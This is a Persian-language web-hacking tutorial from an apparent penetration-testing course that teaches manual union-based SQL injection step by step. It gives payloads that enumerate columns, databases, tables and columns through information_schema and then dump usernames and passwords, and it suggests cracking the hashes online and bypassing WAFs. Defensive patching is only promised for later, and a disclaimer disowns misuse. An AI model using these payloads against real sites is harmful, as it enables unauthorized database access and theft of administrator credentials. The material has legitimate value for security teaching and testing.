به نام خدا
با یه قسمت دیگه از دوره تست نفوذ وب در خدمتتون هستیم در این قسمت با ام اموزش کامل باگ sql injection در خدمتتون هستیم
باگ sqli چیست؟
این باگ از طریق ورودی ها که معمولا از نوع گت هستن و هیچ فیلترینگی روشون انجام نمیشه بوجود میاد که باعث اجرا دستورات sql در پایگاه داده هامون میشه که خیلی خطرناکه و کوچک ترین کاری که میشه انجام داد خوندن یوزر نیم و پسورد ادمین هست
چرا بصورت دستی طزریق رو انجام بدیم؟
چون در روش های دستی بایپس هایی هست که میشه waf ها که در ورودی ها فیلترینگ میزارن رو دور زد!
چرا باگ sql injection :
این باگ سطح دسترسی بالایی داره و خیلی از سایت ها حتی بعضی از cms ها هم این باگ رو دارن و خیلی مورد استفاده قرار میگیره
اموزش کامل باگ sql injection :
تست باگ :
بعد از عدد موجود تک کوتیشن میزاریم مثل زیر
example.com/index.php?id=1 >>> exaple.com/index.php?id=1'
اگر سایت خراب لود شد یا ارور مای اسکیوال داد (واکنشی نشون داد) یعنی باگ داره
استخراج تعداد دیتا بیس:
باید عبارت order by
رو به اخر ادرس سایت اضافه کنیم و در اخر هم از بزرگ به کوچک به صورت حدسی تعداد دیتابیس هارو تست کنیم هروقت سایت بدون ارور لود شد به تعداد همان عدد ی که گذاشتین(بزرگ ترین عددی که کامل لود میشه!) دیتابیس داره و در اخر هم
--+ رو اضافه میکنیم
example : >>> example.com/index.php?id=1+order+by+20--+ >>> example.com/index.php?id=1+order+by+8--+
استخراج دیتابیس های اسیب پذیر:
به عنوان مثال ما هشت دیتابیس داریم که برای دیدن دیتابیس اسیب پذیر باید اون هارو مانند زیر به ترتیب بنویم
example: >>> example.com/index.php?id=1+union+select+1,2,3,4,5,6,7,8
حالا دیتابیس های اسیب پذیر رو نشون میده
استخراج نام و ورژن دیتا بیس:
باید به جای عدد دیتابیس های اسیب پذیر برای ورژن از
version()
و برای نام دیتا بیس هم
database()
رو میزاریم
استخراج جداول موجود در دیتابیس اسیب پذیر:
ابتدا به جای دیتا بیس اسیب پذیر
group_cocat(table_name)
و در اخر هم برای اینکه جداول رو بخونیم باید اون هارو از information_schema.tables ایمپورت کنیم برای همین این کد را به خط اضافه میکنیم
from information_scema.tables
حالا تمام جداول رو نشون میده ولی ما جداول موجود در دیتا بیس اسیب پذیر رو میخوایم برای همین از دستور شرطی where استفاده میکنیم و میگیم جداول موجود در دیتابیس مورد نظرمون رو میخوایم پس باید دستور زیر روهم اضافه کنیم
Where table_schema=database()
دستور کلی مون به شکل زیر میشه (اگر دیتابیس 3 اسیب پذیر باشه)
example.com/index.php?id=1+union+select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables+where+table_schema=database()
حالا اسم جداول رو نشونمون میده که باید جدول مهم رو انتخاب کنیم (به عنوان مثال users)
استخراج اطلاعات از جداول دیتابیس های اسیب پذیر :
باید در گروپ کانکت بجای (table_name) ,(column_name) رو قرار بدیم
و قبل از where هم به جای .tables باید columns رو قرار بدیم
همچنین بعد از where هم بجای table_schema باید table_name بزاریم در اخر هم به جای دیتابیس باید اسم جدولی که انتخاب کردین رو داخل تک کوتیشن بزارین
دستور کلی مون به شکل زیر میشه:
example.com/index.php?id=1+union+select+1,2,group_concat(column_name),4,5,6,7,8+from+information_schema.columns+where+table_name=’users’
حالا لیست ستون ها رو نشونمون میده
برای استخراج اطلاعات ستون ها باید اسم جدول رو یه جا کپی کنیم و تا بعد از دستور from رو پاک کنیم و بجاش اسم جدول رو بزاریم
داخل گروپ کانکت هم باید بجای column_name ستون هایی رو که میخواییم رو بهش بدیم (مثلا ما یوزر و پسورد رو انتخاب میکنیم) برای اینکه دو تا ستون رو با کارکتر های مختلف از جدا کنیم باید هگز شده اون کاراکتر هارو بین دو تا ستون بزاریم(مثلا هگز شده دو نقطه میشه 0x3a)
دستور کلی ما به شکل زیر میشه:
example.com/index.php?id=1+union+select+1,2,group_concat(user,0x3a,passwords),4,5,6,7,8+from+users
حالا یوزر ها و پسورد ها رو نشون میده فقط برای امنیت پسورد هارو هش میکنه که میتونید با ابزار های انلاین هش رو بشکنین
بایپسwaf ها :
بایپس های زیادی برای این باگ وجود داره که در یک مطلب دیگه در اختیارتون میزاریم
پچ کردن باگ sql injection :
چونکه برای پچ این باگ نیاز به پلاگین ها و دستورات php بود اون رو داخل این مطلب گفتیم
تیم ما هیچگونه مسئولیتی در قبال سوء استفاده برخی افراد ندارد و این اموزش فقط جنبه اگاهی از نحوه انجام اینگونه حملات بود و بزودی نحوه پچ کردن باگ رو قرار میدیم